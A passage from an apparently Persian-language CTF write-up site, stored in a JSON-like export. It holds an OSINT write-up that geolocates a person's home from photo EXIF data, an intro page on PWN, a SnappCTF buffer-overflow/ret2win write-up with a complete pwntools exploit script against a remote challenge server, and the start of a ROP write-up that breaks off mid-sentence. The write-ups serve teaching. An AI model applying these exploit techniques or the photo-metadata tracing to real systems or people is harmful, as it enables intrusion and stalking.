\u06a9\u0631\u062f \u0648 \u0628\u0639\u062f \u06a9\u0647 \u062f\u0627\u062e\u0644\u0634 \u0631\u0641\u062a\u0645 \u0639\u06a9\u0633\u200c\u0647\u0627\u06cc \u0632\u06cc\u0627\u062f \u0627\u0632 \u06cc\u06a9 \u0633\u06af \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u06af\u0630\u0627\u0634\u062a\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u067e\u0633 \u0641\u0647\u0645\u06cc\u062f\u0645 \u06a9\u0647 \u062a\u0627 \u0627\u06cc\u0646 \u062c\u0627 \u062f\u0631\u0633\u062a\u0647 \u0648 \u0627\u06cc\u0646 \u0627\u06a9\u0627\u0646\u062a \u06cc\u06a9 \u0631\u0628\u0637\u06cc \u0628\u0647 \u062f\u0627\u0633\u062a\u0627\u0646 \u062f\u0627\u0631\u0647.

\u0639\u06a9\u0633 \u0647\u0627 \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u06a9\u0647 \u0634\u0627\u06cc\u062f \u0646\u0634\u0627\u0646\u0647\u200c\u0627\u06cc \u0627\u0632 \u062e\u0627\u0646\u0647 \u0627\u06cc\u0646 \u0634\u062e\u0635 \u0628\u0627\u0634\u0647 \u0648\u0644\u06cc \u0686\u06cc\u0632\u06cc \u062f\u0633\u062a\u06af\u06cc\u0631\u0645 \u0646\u0634\u062f. \u0628\u0639\u062f \u0686\u0646\u062a\u0627 \u0627\u0632 \u0639\u06a9\u0633\u200c\u0647\u0627 \u0631\u0648 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0631\u062f\u0645 \u0648 \u0628\u0627 \u0627\u0628\u0632\u0627\u0631 exiftool \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062f\u0627\u062e\u0644 \u0639\u06a9\u0633 \u0646\u06af\u0627\u0647 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u062f\u06cc\u062f\u0645 \u06cc\u06a9 \u0645\u0648\u0642\u0639\u06cc\u062a \u062c\u063a\u0631\u0627\u0641\u06cc\u0627\u06cc\u06cc \u062f\u0627\u062e\u0644 \u0647\u0631 \u0639\u06a9\u0633 \u0647\u0633\u062a.

\u0648\u0644\u06cc \u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u0647\u0631 \u0639\u06a9\u0633 \u06cc\u06a9 \u0645\u0648\u0642\u0639\u06cc\u062a \u062c\u063a\u0631\u0627\u0641\u06cc\u0627\u06cc\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u0627\u0632 \u0646\u0642\u0637\u0647\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0634\u0647\u0631 \u062f\u0627\u0634\u062a \u0648 \u0646\u0645\u06cc\u0634\u062f \u0645\u0648\u0642\u0639\u06cc\u062a \u062f\u0642\u06cc\u0642 \u062e\u0627\u0646\u0647 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f. \u06cc\u06a9 \u0645\u062f\u062a\u06cc \u062f\u0631\u06af\u06cc\u0631 \u0647\u0645\u06cc\u0646 \u0628\u0648\u062f\u0645 \u06a9\u0647 \u062f\u0648\u0628\u0627\u0631\u0647 \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f \u0646\u06af\u0627\u0647 \u06a9\u0631\u062f\u0645 \u0648 \u0627\u0632 \u0635\u062d\u0628\u062a \u0647\u0627\u0634\u0648\u0646 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0645 \u06a9\u0647 \u062e\u0627\u0646\u0647\u200c\u0627\u0634 \u0646\u0632\u062f\u06cc\u06a9\u200c\u062a\u0631\u06cc\u0646 \u0645\u0648\u0642\u0639\u06cc\u062a \u0628\u0647 \u06cc\u06a9 \u0627\u06cc\u0633\u062a\u06af\u0627\u0647 \u0622\u062a\u0634\u200c\u0646\u0634\u0627\u0646\u06cc \u0628\u0627\u06cc\u062f \u0628\u0627\u0634\u0647.

\u067e\u0633 \u0628\u0627 \u0646\u06af\u0627\u0647 \u06a9\u0631\u062f\u0646 \u0628\u0647 \u0645\u0648\u0642\u0639\u06cc\u062a \u0647\u0631 \u0639\u06a9\u0633 \u0646\u0632\u062f\u06cc\u06a9\u200c\u062a\u0631\u06cc\u0646 \u0645\u06a9\u0627\u0646 \u0628\u0647 \u0627\u06cc\u0633\u062a\u06af\u0627\u0647 \u0622\u062a\u0634\u200c\u0646\u0634\u0627\u0646\u06cc \u0631\u0648 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645.

FLAG

wctf{51.0911, -113.9561}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["wctf","wctf-2024","Osint","image location","flickr","google map"]},{"location":"pwn/","title":"PWN","text":"

\u062e\u0628 \u062d\u0627\u0644\u0627 \u0628\u0631\u06cc\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0627\u0635\u0644\u0627 PWN \u06cc\u0639\u0646\u06cc \u0686\u06cc \u0648 \u0647\u0645\u0686\u06cc\u0646 \u06a9\u0644\u0645\u0647 \u0627\u06cc \u0627\u0632 \u06a9\u062c\u0627 \u0645\u06cc\u0627\u062f \u061f!

\u06a9\u0644\u0645\u0647 PWN \u062a\u0648\u06cc \u062f\u06cc\u06a9\u0634\u0646\u0631\u06cc \u0628\u0647 \u0645\u0639\u0646\u06cc \u0634\u06a9\u0633\u062a \u062f\u0627\u062f\u0646 \u06cc\u0627 \u0628\u0647 \u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0633\u06cc \u06cc\u0627 \u06cc\u06a9 \u0686\u06cc\u0632\u06cc \u0647\u0633\u062a \u0648 \u062f\u0631 \u0648\u0627\u0642\u0639 \u06cc\u06a9 \u0648\u0627\u0698\u0647 \u0627\u06cc \u0647\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0637\u0648\u0644 \u0632\u0645\u0627\u0646 \u062a\u0648\u0633\u0637 \u0647\u06a9\u0631\u0647\u0627 \u0648 \u0628\u0639\u0636\u0627 \u06af\u06cc\u0645\u0631\u0647\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f. \u0627\u06af\u0631 \u062f\u0642\u062a \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646 \u0628\u0647 \u06a9\u06cc\u0628\u0648\u0631\u062f\u062a\u0648\u0646 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u062f \u06a9\u0647 \u062f\u0648 \u062d\u0631\u0641 P \u0648 O \u062a\u0648\u06cc \u0686\u06cc\u0646\u0634 QWERTY \u062f\u0631\u06a9\u0646\u0627\u0631 \u0647\u0645\u062f\u06cc\u06af\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0646 \u0648 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0645\u06cc\u062f\u0648\u0646\u06cc\u0646 \u06a9\u0647 \u0686\u06cc \u0645\u06cc\u062e\u0648\u0627\u0645 \u0628\u06af\u0645 \u062d\u0627\u0644\u0627!

\u0628\u0644\u0647 \u062f\u0642\u06cc\u0642\u0627! \u06a9\u0644\u0645\u0647 PWN \u0628\u0647 \u062e\u0627\u0637\u0631 \u06cc \u063a\u0644\u0637 \u0627\u0645\u0644\u0627\u06cc\u06cc \u062f\u0631 \u067e\u06cc \u0646\u0648\u0634\u062a\u0646 \u06a9\u0644\u0645\u0647 OWN \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f \u0648 \u0628\u0647 \u0647\u0645\u06cc\u0646 \u062e\u0627\u0637\u0631\u0647 \u06a9\u0647 \u0634\u0645\u0627 \u0648\u0642\u062a\u06cc PWN \u0631\u0648 \u06af\u0648\u06af\u0644 \u0645\u06cc\u06a9\u0646\u06cc\u062f \u0627\u063a\u0644\u0628 \u0645\u06cc\u06af\u0646 \u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0644\u0645\u0647 \u0645\u062b\u0644 OWN \u062a\u0644\u0641\u0638 \u0645\u06cc\u0634\u0647 \u06cc\u0627 \u0645\u0639\u0646\u06cc \u0627\u0634 \u0645\u06cc\u0634\u0647 \u062a\u0635\u0627\u062d\u0628 \u06a9\u0631\u062f\u0646 \u0686\u06cc\u0632\u06cc \u0648 \u0627\u0632 \u0627\u06cc\u0646 \u062d\u0631\u0641\u0627!

\u062a\u0648\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0647\u0645 \u0627\u06af\u0647 \u06a9\u0647 \u067e\u0644\u06cc \u062f\u0627\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646 \u06cc\u0627 \u062d\u062f\u0627\u0642\u0644 \u067e\u06cc\u0634 \u062f\u0648\u0633\u062a\u0627\u062a\u0648\u0646 \u06cc \u0686\u06cc\u0632\u0627\u06cc\u06cc \u062f\u06cc\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u06cc\u0646 \u06a9\u0647 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u06cc\u0627... \u0631\u0648 \u0628\u0647 \u0634\u0645\u0627 \u0645\u06cc\u062f\u0646 \u0648 \u0627\u0632\u062a\u0648\u0646 \u0645\u06cc\u062e\u0648\u0627\u0646 \u06a9\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f \u062a\u0627 \u0628\u062a\u0648\u0646\u06cc\u062f \u0628\u0627\u0647\u0627\u0634 \u0633\u0631\u0648\u0631\u06cc \u06a9\u0647 \u0622\u06cc\u200c\u067e\u06cc \u0648 \u067e\u0648\u0631\u062a \u0627\u0634 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631\u062a\u0648\u0646 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0631\u0648 \u062a\u0635\u0627\u062d\u0628 \u06a9\u0646\u06cc\u062f \u0648 \u06cc\u06a9 FLAG \u0631\u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u0647 \u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0646.

\u067e\u0633 \u062f\u0627\u0634\u062a\u0646 \u062f\u0627\u0646\u0634 \u062a\u0648\u06cc \u062d\u0648\u0632\u0647 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0648 \u0632\u0628\u0627\u0646 \u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc \u0645\u062b\u0644 Assembly \u0648 C \u0648 CPP \u0648 \u0645\u0634\u0627\u0628\u0647\u060c \u0645\u06cc\u062a\u0648\u0646\u0647 \u062f\u0631 \u0645\u0648\u0641\u062a\u06cc\u062a \u0634\u0645\u0627 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0645\u0633\u06cc\u0631 \u062e\u06cc\u0644\u06cc \u06a9\u0645\u06a9 \u06a9\u0646\u0646\u062f\u0647 \u0648 \u0645\u0647\u0645 \u0628\u0627\u0634\u0647!

\u06cc\u06a9\u06cc \u0627\u0632 \u0627\u0647\u062f\u0627\u0641 \u0645\u0647\u0645\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u062a\u0648\u06cc CTF \u0647\u0627 \u062f\u0627\u0631\u0647 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0628\u062a\u0648\u0646\u0647 \u0628\u0647 \u0634\u0645\u0627 Secure Coding \u0631\u0648 \u06cc\u0627\u062f \u0628\u062f\u0647!

\u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u0627\u0632 \u0645\u0647\u0627\u0631\u062a \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u062f \u062f\u0631 \u062a\u0648\u0633\u0639\u0647 Exploit \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.

"},{"location":"pwn/writeups/SnappCTF/Snapp_admin/","title":"Snapp_admin","text":"

\u0633\u0644\u0627\u0645 \u06af\u0627\u06cc\u0632\u0632\u0632 \u0686\u0637\u0648\u0631 \u0645\u0637\u0648\u0631\u06cc\u0627\u06cc\u06cc\u0646\u061f \u062e\u0628 \u0628\u0631\u06cc\u0645 \u0628\u0627 \u06cc \u0686\u0644\u0646\u062c \u062f\u06cc\u06af\u0647 \u0627\u0632 SnappCTF \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0686\u06cc\u062e\u0628\u0631\u0627\u0633\u062a\u061f! :) \u062f\u0631 \u0627\u0628\u062a\u062f\u0627\u06cc \u06a9\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 checksec \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u062f\u0627\u0631\u0627\u06cc Stack Canary \u0648 PIE \u0646\u06cc\u0633\u062a.

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0627 ghidra \u06cc\u06a9 \u0628\u0631\u0631\u0633\u06cc \u0631\u0648\u06cc \u062a\u0648\u0627\u0628\u0639 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0648 \u0628\u0627 \u0686\u0646\u06cc\u0646 \u0635\u062d\u0646\u0647 \u0627\u06cc \u0645\u0648\u0627\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645(\u0642\u0633\u0645\u062a \u0647\u0627\u06cc\u0644\u0627\u06cc\u062a \u0634\u062f\u0647) :

\u0648\u062c\u0648\u062f \u062a\u0627\u0628\u0639 gets \u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u0627 \u0631\u0648 \u0628\u0647 \u0627\u06cc\u0646 \u0633\u0645\u062a \u0647\u062f\u0627\u06cc\u062a \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc BufferOverflow \u0631\u0648 \u062f\u0627\u0631\u0647. \u0627\u0632 \u0637\u0631\u0641\u06cc \u0648\u062c\u0648\u062f \u062a\u0627\u0628\u0639 is_admin \u062a\u0627\u06cc\u06cc\u062f\u06cc \u0647\u0633\u062a \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0627\u0632 \u062a\u06a9\u0646\u06cc\u06a9 ret2win \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645.

\u0628\u0647 \u0637\u0648\u0631 \u062e\u0644\u0627\u0635\u0647 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062f\u0631 \u0627\u06cc\u0646 \u062a\u06a9\u0646\u06cc\u06a9 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u0634\u0647 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 return pointer \u06cc\u0627 EIP(rip) \u0631\u0648 overwrite \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0647 \u0633\u0645\u062a \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u062f\u0644\u062e\u0648\u0627\u0647 \u062a\u0627 \u067e\u0633 \u0627\u0632 \u0627\u062a\u0645\u0627\u0645 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u0628\u0647 \u062c\u0627\u06cc \u0628\u0631\u06af\u0634\u062a \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0647 \u0645\u0633\u06cc\u0631 \u0648 \u0631\u0648\u0646\u062f \u0627\u0635\u0644\u06cc \u062e\u0648\u062f\u060c \u0628\u0647 \u0633\u0645\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0645\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0633\u06cc\u0631 \u062f\u0647\u062f \u0648 \u062a\u0627\u0628\u0639 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0645\u0627 \u0627\u062c\u0631\u0627 \u0634\u0648\u062f. \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0648 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0646\u06cc\u0627\u0632 \u0647\u0633\u062a \u06a9\u0647 \u0628\u062f\u0648\u0646\u06cc\u0645 offset \u0645\u0627 \u06a9\u062c\u0627\u0633\u062a \u0648 \u062f\u0631\u0648\u0627\u0642\u0639 \u062f\u0631 \u06a9\u062c\u0627\u06cc \u0627\u0633\u062a\u06a9 \u0647\u0633\u062a \u06a9\u0647 rip \u0627\u0632 \u0627\u0648\u0646\u062c\u0627 \u0634\u0631\u0648\u0639 \u0645\u06cc\u0634\u0647 \u0648 \u0628\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc (Overwrite) \u06a9\u0631\u062f\u0646 \u0627\u0648\u0646 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 \u0647\u062f\u0641\u0645\u0648\u0646 \u0628\u0631\u0633\u06cc\u0645. \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0647 \u062a\u0627\u0628\u0639 gets \u0628\u0631\u0633\u06cc\u0645 \u062e\u06cc\u0644\u06cc \u0648\u0627\u0636\u062d \u0647\u0633\u062a \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0627\u0648\u0644\u06cc\u0646 \u0648\u0631\u0648\u062f\u06cc \u06a9\u0647 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc\u062f\u06cc\u0645 \u0628\u0627\u06cc\u062f \u0639\u062f\u062f 9606 \u0628\u0627\u0634\u0647 \u062a\u0627 \u0628\u062a\u0648\u0646\u06cc\u0645 \u0648\u0627\u0631\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0628\u0644\u0648\u06a9 if \u0628\u0634\u06cc\u0645 \u0648 \u062a\u0627\u0628\u0639 gets \u0627\u0632 \u0645\u0627 \u0648\u0631\u0648\u062f\u06cc \u0628\u0639\u062f\u06cc \u0631\u0648 \u0628\u06af\u06cc\u0631\u0647. \u062e\u06cc\u0644\u06cc \u0631\u0627\u062d\u062a \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u0645 \u062a\u0627 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062a\u0648\u06cc gdb \u0628\u0627\u0632\u0634 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0645\u062b\u0644 pattern create \u0648 pattern search \u0628\u0647 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 offset \u0647\u0627 \u0645\u06cc\u067e\u0631\u062f\u0627\u0632\u06cc\u0645. \u0644\u06cc\u0646\u06a9 \u0632\u06cc\u0631 \u0628\u0647\u062a\u0631 \u0645\u06cc\u062a\u0648\u0646\u0647 \u0634\u0645\u0627 \u0631\u0648 \u062f\u0631 \u0627\u06cc\u0646 \u0628\u0627\u0631\u0647 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc \u06a9\u0646\u0647 :

Pattern

\u0628\u0639\u062f \u0627\u0632 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 offset \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 \u062a\u0627\u0628\u0639\u06cc \u06a9\u0647 \u0642\u0635\u062f \u062f\u0627\u0631\u06cc\u0645 \u062a\u0627 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u0647 \u0633\u0645\u062a \u0627\u0648\u0646 ret \u06a9\u0646\u06cc\u0645 \u0631\u0648 \u062f\u0631 payload \u062e\u0648\u062f\u0645\u0648\u0646 \u0628\u0630\u0627\u0631\u06cc\u0645 \u0648 \u0627\u0648\u0646 \u0631\u0648 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u062f\u06cc\u0645. \u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0622\u062f\u0631\u0633 \u062a\u0627\u0628\u0639 is_admin \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645:

readelf -s snapp_admin | grep -i is_admin

\u06cc\u0627 \u062a\u0648\u06cc gdb \u0627\u0632 \u062f\u0633\u062a\u0648\u0631 info functions \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645. \u0628\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 offset \u0648 \u0622\u062f\u0631\u0633 \u062a\u0627\u0628\u0639 is_admin \u0648 \u0628\u0647 \u06a9\u0627\u0631 \u06af\u0631\u0641\u062a\u0646 pwntools \u062d\u0627\u0644\u0627 \u062e\u06cc\u0644\u06cc \u0631\u0627\u062d\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 is_admin \u0628\u0631\u0633\u06cc\u0645. \u062a\u0646\u0647\u0627 \u0642\u062f\u0645\u06cc \u06a9\u0647 \u0645\u06cc\u0645\u0648\u0646\u0647 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0645\u0627 \u0628\u0639\u062f \u0627\u0632 \u0648\u0631\u0648\u062f \u0628\u0647 \u062a\u0627\u0628\u0639 is_admin \u0628\u0627\u06cc\u062f \u062f\u0648 \u0645\u0642\u062f\u0627\u0631 \u062f\u06cc\u06af\u0647 \u0631\u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0648\u0631\u0648\u062f\u06cc \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u062f\u06cc\u0645 \u062a\u0627 \u0641\u0644\u06af \u0628\u0631\u0627\u0645\u0648\u0646 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0628\u0634\u0647. \u0627\u0648\u0644\u06cc\u0646 \u0645\u0642\u062f\u0627\u0631\u06cc \u06a9\u0647 \u0628\u0639\u062f \u0627\u0632 \u0648\u0631\u0648\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc\u062f\u06cc\u0645 \u0628\u0627\u06cc\u062f 9600 \u0628\u0627\u0634\u0647. \u0686\u0631\u0627 \u06a9\u0647 \u062a\u0627\u0628\u0639 read \u062a\u0646\u0647\u0627 \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0627\u0648\u0644\u06cc\u0646 \u0622\u0631\u06af\u0648\u0645\u0627\u0646\u0634 \u0635\u0641\u0631 \u0628\u0627\u0634\u0647 \u0645\u06cc\u0627\u062f \u0627\u0632\u0645\u0627 \u0648\u0631\u0648\u062f\u06cc \u0628\u0639\u062f\u06cc \u0631\u0648 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0645\u0627 \u0628\u0647 \u06af\u0631\u0641\u062a\u0646 \u0648\u0631\u0648\u062f\u06cc \u0628\u0639\u062f\u06cc \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u0645 \u0686\u0631\u0627 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0631\u0648\u0646 \u0628\u0644\u0648\u06a9 if \u0627\u062c\u0631\u0627 \u0634\u0648\u0646\u062f \u06a9\u0647 \u0634\u0627\u0645\u0644 \u062f\u0633\u062a\u0648\u0631 \u0646\u0645\u0627\u06cc\u0634 \u0641\u0644\u06af \u0647\u0645 \u0647\u0633\u062a. \u062f\u0631 \u0622\u062e\u0631\u06cc\u0646 \u0642\u0633\u0645\u062a \u0645\u0627\u062c\u0631\u0627 \u0647\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0632 \u0645\u0627 \u0648\u0631\u0648\u062f\u06cc \u0686\u0647\u0627\u0631\u0645 \u0631\u0648 \u06a9\u0647 SNAPP \u0647\u0633\u062a \u0631\u0648 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u062a\u0645\u0627\u0645!

\u0648 \u062f\u0631 \u0622\u062e\u0631 exploit \u0646\u0647\u0627\u06cc\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 :

from pwn import *\n\ncontext.log_level = \"critical\"\n# ncat --proxy-type socks5 --proxy 127.0.0.1:2080 91.107.177.236 1337\n# context.proxy = (socks.SOCKS4, \"127.0.0.1\", 2080)\n\ndef run(i):\n    p = remote('91.107.177.236', 1337)\n    p.sendline(b'9606')\n    p.sendline(b'a'*i + p64(0x40101a) + p64(0x00401296))\n    p.sendline(b'9600')\n    p.sendline(b'SNAPP')\n    if 'SNAPP{' in (res:=p.clean(2).decode()):\n        print(f\"[!] offset={i}\\n{res}\")\n\nfor i in range(8, 16):\n    run(i*4)\n

FLAG

SNAPP{Wh3Re_is_@dm1n_I_f0rgoT_my_cOd3}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

nim0x2a

","tags":["SnappCTF","SnappCTF-2024","PWN","Exploit","GDB","Pwntools","BufferOverflow"]},{"location":"pwn/writeups/SnappCTF/Snappshell/","title":"Snappshell","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0641\u0634\u0631\u062f\u0647 \u0631\u0648 \u0628\u0647 \u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u06a9\u0647 \u0634\u0627\u0645\u0644 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0648 \u06cc\u06a9 Dockerfile \u0647\u0633\u062a. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u062f\u0633\u062a\u0648\u0631 checksec \u0628\u0627 \u0686\u0646\u06cc\u0646 \u062a\u0635\u0648\u06cc\u0631 \u062a\u0631\u0633\u0646\u0627\u06a9\u06cc \u0631\u0648 \u0628\u0647 \u0631\u0648 \u0645\u06cc\u0634\u06cc\u0645! :)

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0648 \u0628\u0627 gdb \u0648 ghidra \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0647\u06cc\u0686 \u062a\u0627\u0628\u0639\u06cc \u0628\u0631\u0627\u06cc ret2win \u06a9\u0631\u062f\u0646 \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u0647 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 NX \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0634\u0644 \u06af\u0631\u0641\u062a\u0646 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0633\u062a \u0648\u0644\u06cc \u062e\u0628 \u0686\u0637\u0648\u0631\u06cc \u0628\u0627\u06cc\u062f \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0648 \u06a9\u0631\u062f\u061f! \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u0647\u062f\u0641\u0645\u0648\u0646 \u062f\u0633\u062a \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u0646\u06cc\u0627\u0632\u0647 \u062a\u0627 \u0627\u0632 \u062a\u06a9\u0646\u06cc\u06a9 ROP \u0628\u0631\u0627\u06cc \u062f\u0648\u0631 \u0632\u062f\u0646 NX \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645. \u06cc\u06a9\u06cc \u0627\u0632 \u0645\u0648\u0627\u0646\u0639 \u0633\u0631 \u0631\u0627\u0647 \u0647\u0645\u0648\u0646\u0637\u0648\u0631\u06cc \u06a9\u0647 \u062a\u0648\u06cc \u0639\u06a9\u0633 